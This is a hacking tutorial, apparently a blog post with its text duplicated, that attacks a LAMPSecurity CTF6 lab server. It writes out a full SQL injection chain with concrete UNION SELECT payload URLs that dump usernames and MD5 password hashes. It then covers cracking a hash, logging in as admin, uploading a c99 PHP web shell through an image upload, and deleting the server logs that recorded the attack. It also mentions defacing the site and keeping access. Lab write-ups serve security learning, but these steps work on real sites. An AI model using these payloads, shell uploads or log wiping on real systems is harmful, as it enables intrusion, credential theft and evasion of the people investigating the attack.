Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uljc210UekVa4kVV5UNhlyZ7XdOAVzGa30gTY3VOExO4nvkJvVTsdhjdLS3OWgLTCmGuz5V3n3SUjvwKD6vxD61qZiUwYHuz3A2u3FATTM5J9YTnFPc8vMT98OLPLrC0DhEjYxuIArjw043qfuRGbml22ZNCAegBeVqLzBiJSMNMxO=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tjIkZ5r3Xi4AUPMe2ddIXDjFYVE7j5OVQsyJRzPUXRQW_t36jxsXeidIbVyAmKfc1KPmdkEx2ivcNvgq8fWzutB-IsHd5pDYFRCwd5KfU3lybE3PnmRG_hRA4Rvlu4QgQR4ez2D9_BknVfA9kRVc1aKsUVwewyWGiJifNsLk8p6q4nZw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uI_Wh0D-LtkaZHX0X8YKIQHRvZr9YZrLdcgT1xn7-H9Pwu2rG_Vu1lYiYlbt_PcW9b7quGf2WVFK7wC89RyH7BXDxxFtRbYU4Ha8jWmNEM4b8EfSEN7lsOhnucFm04zGDbr3RvOOsq2HdV3nCd853s-W94Ji83ybglmU4-qpf5EA7igA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saLaA4K1fEhidWJmc7MM3_DR7p-BV1w9cQrrrkZfVdCgeQ1MEXPCqLQBPS0jMd1Hlqnk24WzRnfGZyTI7gszLFj2-wtCplZUA6kzILnc0P63KMm8Oe7RDXAOJW74L8NJxgKCbTFMFOrldzZm7WCPVoG56lRddTcGSjDxys4NasylE_ng=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6dRQRRdUT5loTR1q2JjMy8cSOTZ63W1nHXCIjxYTUEp1JDtRF9nymSlh8q4cTz2IQZUwOJGtr8e4givlzi-uRCkcYhPy8eCGrvipfq4xYoLSdlKUKlRKHZMrWHRIh_M3XG_uPL6CX1gMC5ZaKdN_yDv-4aZZZXMmJK7a1tcs7u_sWmA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_smpo4pYSy2ojplqkuzkp-KWyux4qXuekjxrGYLZRWFH8F_atrRO8WmgrmIdk_ghcMITm8ff04mIwv4FWkNU9F0-u-QZFubNBzv7KnAyPqZR5nEN2ORbCqpl6g6YDkePyV8DQu1U-6W2kdpb3Jq-eYKDAoFlY2xBuS5IcQ8LvChYoGR=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vSmfTPJTW9n76anYCYYeAAuCvtTTBKObX78jfNVewV6Y10Px8on9G5SWcxiIiG0viDH70HH1xq76QR3wGAha0JsmZyxvfdfWxTmyNA35GMqHxkn2fQ09sVUm_CYqVgix04Gm97hOfo5zhqo_P5r_uxkToLbAWPQHukU__r9auxnTnJQXE=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uiAjrPzEMNJoAXpBDoYYLS9oAy2_goLSH_zQORa21IuzQDbRfN2Rg7Xl-ku2KINPO95EoJMrFM6wkeK6X8dmVC8ptDuGphF3_1W1OA62wJx268tCh4n3FB1w-52RIK8sOBws7nJoskIHsdqHfAhOkaODHvJye7QcFrZis0dJIIHFVa2Vs=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFJqUpQYugmqfZNf7IJI-G1rGyiQ_hwf3R5TtlugR3BfrJjIfNTfgCf58rLYlkOohtGv2wAfGB8P4RVxkmlqyNUVHqp9qv8wai4mc0sydZc1knU8BlGFW1g_JQ6XP2R_WqZdtiveTUPou9z6ose2xq8Sec7EyuibdUm1q7KHDd1HPtf9g=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uN175yXBNSIOIX4wUWisbjzjC2LHHEY6sVvjJIsrcbZSOpIZzUCaqNR4SeIung48BluhanGhbeMEWDaKmQealUik7eJwBUfqkG0iZbt3Fmc-tu-fOrVa2aF8mgiSnBJTPI9sK8E4zm23mdNDmLDU-TpLjfpaUp8jjBW-r_gTLpSiD2m90=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttzChXhHknO0_d9YrhuomNEOQSHw-qcmy2Lf-yydO-1nUzCx0KmCbu9jqPEnOoyxIHwsKoZwP_63xhK42nKA1mqxm3HGaqjvCvp4lk6wTl2IAoDijtGrd40YHVfw5Pawk4J6n81Aophe9kbasx1r9OoSDXBuvVJIscz-7GdetlvxHoWw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vzXLs1vMUFlxM2AHmJqRyk0hC6cYSjMiVDGfjKm45B70MaQPthe3lMzlYcPWRbpFPEPEDWpeyo2TP56z0lH5qjSYdE_QvrErg2H4icrQFvOS7smKY0HmECnufR14dQkt_M7u7Fpsy35cysApq_jW-rxfoc9zxvxZx-aS6N5j6X21uwJEU=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sLptmgK9weeTBfGqImLg1N46FmR-LjO7BBIaBxZElCZlY5Lpk2ywHEwccHMNAxZrnKdCMoK2fTrWf9o3K1wBQjuER0Csat_YQP3Nhg5qT5pOW3brjfTAIv3IedducFwTvXs8x4zap7ozMQQf3gC3gwcxHHqdcrqCj2PUoHZivUaJwu4LE=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v0LxlS18fqSJbbE5QT95_QpnN7X3f4jizyr0n4lTDkZ58ZuDsPxUYY3byX4gXTbd7oCrpmGjpPmqT0LoptaRO-wjsRFuDczi3nxHw9YY42_c4x0_B2ebz-ubl6A2IWwYITBv_RDEHAgs1vnfzYBqo_EqKMLyWgWr6o3PA_tB4moQT0lA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJT_jIbu_uLSrseVJvOLqY07N3z10hO1h69xO0sHD2gSaSy_dAAFJuDxi0CvOo_c-Seh6Ygr6y2Hn48oOS2SA-uWrdgb527AOJeE4691-GtwGKp5YNpiyqzgOuqizSAYw5Sb8oWxuG9kChuOK_ijsPMWY7Ap6L2vyrxq60BBhM5jqAqg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufqWW46mr0CkyiFRTQrpGibL_GkfJEgpC15YDOO9vNdb2gHBBDH2N1q6KTGWoq-1sgFuZFPOjrN8fKKUzVfSpXKRLHbVwEJ25OyNIb8rWw-pQF0iOvbANYc98hJS3Ng54HAuuxP9FjmfHbQG_8vTonqlWJyuD7mVl4y0E-wLk7G2JKFL0=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnPEoMEM1jXL4LK7970RXJTr9EFeZsCGElTa4qkoIVJHzCDWiD1mYKvBS4w2rlbbTwThNTH6yfIwTnz5pW6tRROfLm4Y0yBJU2bw-kJwIbRzftUrZ35vf5iqspMwuMzui9G21jjhcKOVwTr72lAYCsETROYqMf4Ae0JamWXWoL1EUaJM4=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9C92tRGkxH6oY90UJ-t4gs5jBkguHM2qyrov81SLSZVAM_6D8exx8gIU_gwzYSwFFnxmmRAl0EIQ78J6xQFSziCh5Ee8KogXMPOfHZMudT5dqGmIiLqHZWfVwiNnJ8VwQmzxaHp6JO2vsAnpAvKqGvf5reYjdLXUHxHHclv6tt2syzTI=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkUL-ZHc8d9juU72l6CIhImGNGQI13mB0aAETTFirsthHXyffw36L97aJqDZQwbn2uMzcPQR1wPhlM-DdjKgxbJO51zvXYeH70580lUr3tsopILrunErvgsiOw1PxorYlwoCYYw4UvWhl2aFvlejYWTAElubsqpNugy5ueovf8113x_Bc=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uK7nQ4yLgbclWjM1zMizW5U0HI77jyaaz6BGGgbslOIUmJDzljOhg7CojHSkbQnVZLATZI4zp9DjvwClzYkhUiRQBEt-Hxkrj2qEuCO3SLkJuHs-GVRiQKlj7oqnFtX1DiabHUtqtGdi-1lhuiPmiRLy-Pv_7oG3hSyg-2xhdnvt9YSB4=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vkXweuUgFFfFh0SUQYY5TDuuSTs4PLO71EPks3DiYN7HiMs6AYcWXZBI6Rkyhl8EGO5l4gMIekqn9Pcpti3nOz693UhWgbmK2bHN41l4p4QV_ANJmJWHGK-Iyhl3gPjtVlHFyrCkmjyBKPn7eOJIud_wI1Gw2YkQAA3yIn8SCB3Dhs0Ec=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vz-geXQUCHvjH6FMck4cmKyEgN1NNoiNxekcQLY9vhUweDAJ2e4S80xoLICZPo3CLnpfqEaxJXEe7h9Z7A0fEh3NGe73wTrZ3Zd16bOTwgAWDoY545anPtLlybyw5yEleNDyC8tSAra7FiF6NaTGRMq0JqBbgmQZi87NbXstMbuA-73pc=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbfSV2DhC7LR3NpU9fpHEKCPvB6kwdSnEzYXfmzs8Pf2rRP-o8hJV1FK7MsV6FmMDxfYuRCQdna2mfXcTjCcwS8JEXEm_GM_aeUHBmzkvRbH0UXvv0zQGpCg9I1NWZl7DgGaZIaFvzRN4BgXcLqneFa-DDCbpcy_DgRH8cIVPuXO_za54=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uI8MBxMEB3GVSnukUSgxf4lgTh0zGyoRu6jEzjfyZLa9LLi_EqK_ICQt-jU0sW2LmRYEcDZa6tT9KQUs1VT9VJIzwBVXeyA9WQRkjerjm2dYNveVXkoTpFSZQB41UnUag0FbXVyuJmjCDu-ICpBIaLsxQL2LfoQbhnCjqBnS5jJymrcfQ=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vNu9Qp0EGJrIBlgvDDnXcAZHQ30QPttVWLDmmKJ5NZ6vYtTkJcGecZTGA6uMgJ1sdxt0oOKG3ItCQ0SD036s0BN_cPlwsEp1wQcfp3zA5Hz095N0JuW68vsxi_XgMHzJdfu7Bcb0MlVaR8f1INPBtsLyy6Q2WDdvLPqoTibbKrIR5c8Q=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tc39W3Xk6VXXyHjNBRO1sMQw-R7RsONQ1kgT-Xa_J1SsYLA0e5H5UMvAA4PMlQyryHeOeaHAhT0gfLUmMNFoX4ELcvEJFONydOBsKVaVaPkhEA_bKIgsAnKphD510WohDj10xIwENbrmzGbVK3G6joVBTfPBfUXB30kWDohkgUrttMVg=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vNJUOQPJkL66ZIg0GlWsA9rGCYWEXKpb118cdfIYQ-gGAnZZ14Wq99Qhd5sUlCF9GzHhWUWSVxKGEIKQB71aiaG5SOrb6vSSWLyXqfIsF-c34CjNeTRJfVQLGWy3hpq4VeijLuoYnHLj7KcNSvm-2Lwo5KLHwcXK-mQur_d6ntUMa_D38=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tUM1cGIzKRCnKOzdJjUZH4ZkOfZK_Hl_fmR8OKUSt3qP3qijNo-HUTJHWgQhU9daoxMTy7qM_NB8q575b1Y2n4neIbrp95BXn-X488YHiG5R72CZGCKDqje6sbOdVrvru_n_xgTFmwF4A-gr1G-pEwoyjkZLoZSFGVyf8Di5geb1tKDok=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tXd12LXNSUOd3Mgvf2baCazGQDxtScoJ5-nMOoWNBTo4FadfTn9X0P8OvFimXSROiTZ5YM1cRRRZjnirKGX2_Z4LS3BN3KQXIhM-L45hu3ls5Z98unJYR5lsU1dilJMZ2kcL--fl4Tkw-xMU1PYjBHchKM3zFIcJbFLLr1HyOZ21t1DA=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vrh_6mdpUUEeLQxjz1N7HO7i2utVKhSPdcaKZE35FP5wucCIUiM2seKzekbL0mXNQPzURGTBCZ7sBS89_qX689wH3xmnRrn00EvgqZnukgMn9cgw5Ote9OxpcG4pAuvHNtHiRqYWEjzy8xjzuZUKrcEyUE6ZPbZ5Y55Mk657X8gcWBMPU=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2pd1mhiwo4qjWycoKiuA4DX-kW26uOJeBccvw0R1_sjOx4FH7no-Xi8YOlzmKvLaW8JziUCoNBMiAkeXsfvwMAgFnKx3XRSsPxKWf0Rf3gZiMTQXthRETjG3ex1DHQr3utIzwiRflnAXtoLSoyB_wz1SdXorpTHjU9RvnUDeVdxRP7-g=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vEZF5cl3htL-799S9jwmWDjDV681-QqmAdHW3Y1hPe4Z7gmksEbAk6PBb61L_fomWehhIM-c9pPt1cgXmADneDwuLzHty3GNTVLCV6lT8k_h7pARBQCLEGv1zIXvIR4EZ9d2kMEEFSXzLJwFQAF6COXU0dPpEL90aa9bd-OafJTj6bY2U=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlI0DeW8dP-zokCDqBvUgm2KLi7bks4rUTl8FxTumZjApwpYEBf57m18iM4y5NPQ8oqNGjPwo0f3HF1gFDia7yfPtFqahIWTQt26FqkUlDAA3NkcjxSuhLsOgyauD0sdkeaJm4A04NJmLmgAS93QPln87ZzIBFZGBpdU77CGxS8SilS44=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t_E0Z_OY9kmuif5QGDdPryqQsILF6sjgGa1qYSPjhsJypb1UVoh1_0En_wQAVc3h6BTCBWjFtDAPePVOSxAWw6hKVT539IqD6JBe03Ma_n12EQUOyJP0ePEZF-ZUI2nG90pf5mc7exDIvhp5Ng3Q1ASCPS3Pe7ZY6aU7VuBH77rSp77GI=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9PbS4EBrBprS0QT7GpwEDJSElNOchMmX7lwpcJ-ccuve0vgzImnnCps9NJ4Pq0Hx_xAhEP-5hCgIk5qldY_U4hG4yW8vRfmqsJLLpPyXXyKYB7YKWwfQyHcHpeI_mWRsqexUFA776bcdgfPxBgesWyYXwPSFyNe1WzwIlzPeJc-jPLyI=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vzNGpzaWiWXKuiWbefJ5xHArK9dVwSMs6vJ4kdXXAOqYamgNMLBgQl3Yf91sOKCtW1g3B0OKTu6DA2B5ADc8hXQPH0LjufrRQj8I7WNPUBshTCAX2wOklZN-Yx8MKgWTBAwZjAnAOCUszWzWj68BNLbWhZj0Zbf8x0Iu2MepIayRg3P58=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0p4btkgxKxE6JwhR-okjJGd6M-7ae_1-r5s_03x6MV7LpP5Ie-EXLKPeSMTjdNtGvHMGIE2L1vjSrBpDvMXOxlSKmwQhoxA9ecWK6JJK1vbyVrgv6j2g5qC3wWcuoafIneloya78HWFgooxVrIlBu3_OMGXXOAM_88U0Kz4UX-w-vLw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vL7EJJbGSkDcfk0Xfd162-7C96jX1k86Kw4k_FLSumOaDwPIXVjhEp-JJ6DxnA3fO9OKO9657HULOSzn3bWQLMxrKnJa5eVFsvIAPK6OX0-evlIcVcDdQJV39INjajIpBAciaSEfkuKBgz_fwQjVuRfWu5xgbWsf3bdpqLNH6zOBj5UCU=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t3RNU52wcUYNni9a1KMTtjgLX6eNsxUW8qTBnqEInxy4TaEQIjyBtWTsZRWPSkI1dpfAJqatkg-t156zjbxwqwRrRfT65rGVJVM_ceoZl25lQkaFLVkepCyDfrBq87w5MUPa7rxtSwa6DfXHM5EW42aH_bWMg0Kk_j4YaIZUBR3pDeNg=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgluHx06Ki6RfMyoDvxnQpV0Wo7Jtsj2hI4kbeYxaQZ0ykixZUhqxLiAF9mmVO_009cp7Mgk1L0JW-9Hg0oOw3Z2V1Np1tP43xRbaaE73O84AnaKkPBAr7p4jO7TaK09kzlhZgp1LvTqrdDcTSaqVjZLyVO2PNpiXYpIWINV5uOiRZhfw=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_soFIoBtOVsIGX7dw9UV5GtpiBh5OPFjqrUa_-2RRAmyc17-M0X0cKkR6AbZYFtrS_MUnVHPtYWyMJSnwhuVH3amO2pIBC4yvRVyTS1gxKzgSkOeE2HDRKOPYlNYSMcaTD4QsnGhNKeJPGCGZ7bNhipTKhNKtgD4RGYE1T5k8sYfkeukBk=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sO0koIV5oI4zj5QctlLLSRiqo7Znpm--G3PYeHdQ8f0jPsK5EmGulA0gUjel413ppr-QbSAPehQhK1z9ji9oKcKGLz85Wfb43tShu5niWCj5M5eSGVIcBhzORgUoapyqLy2Qtzwg8jUpohLr0_ljUmS17xS_9QWo05QFLe1TNLl24tlaU=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s_wX3y9HCty5MWihSpFP8C7aVr1Q4mF7ohCP0X9AF1aK-wKtG0M1-KWTplbKNkA_-zHB-Cma84m4_UMv6QGcyfOY_33aQIxybNxXDBcvDSPdJPWxY3iZarX8Ly7Z6M2_D_pCqbbPR2hmLvS85GI6LSpV9pl6BjkYYmKDLhUS4BYy4ptqQ=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tR9fj4-4Ng3jSA83RvCRmwr56uHwSVwjtSJMl5zNYVd541L0eeGRiclCfp0euySnJsAKFPTE85MzGjxf07tzvPWfzM1xrmfGIm_PmmEqcxjnGldU9Ylg-6sGl6tcPwKesYGSoqno2ZDbTsJT0yNsyPEylZjt175TdGX0K_Ck8z7QLu_A=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzmQ6JQKobbf7Lcdi5rjw5HW3iWfFwRO0BTiv_GdZvIxxWO9qokNtysGImnkH4_MNDMRCr2EHOerXkbC16Yqp7hUwQZ0APbM2GfMfNC6i_lKjh0SQN-M2_6uwmgMIH1x1tFbWJ6Zjjy5FcTEK5ADxjebsjjOZWqjN2-dfIuxrqGB4SpT0=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
Tags
bypassing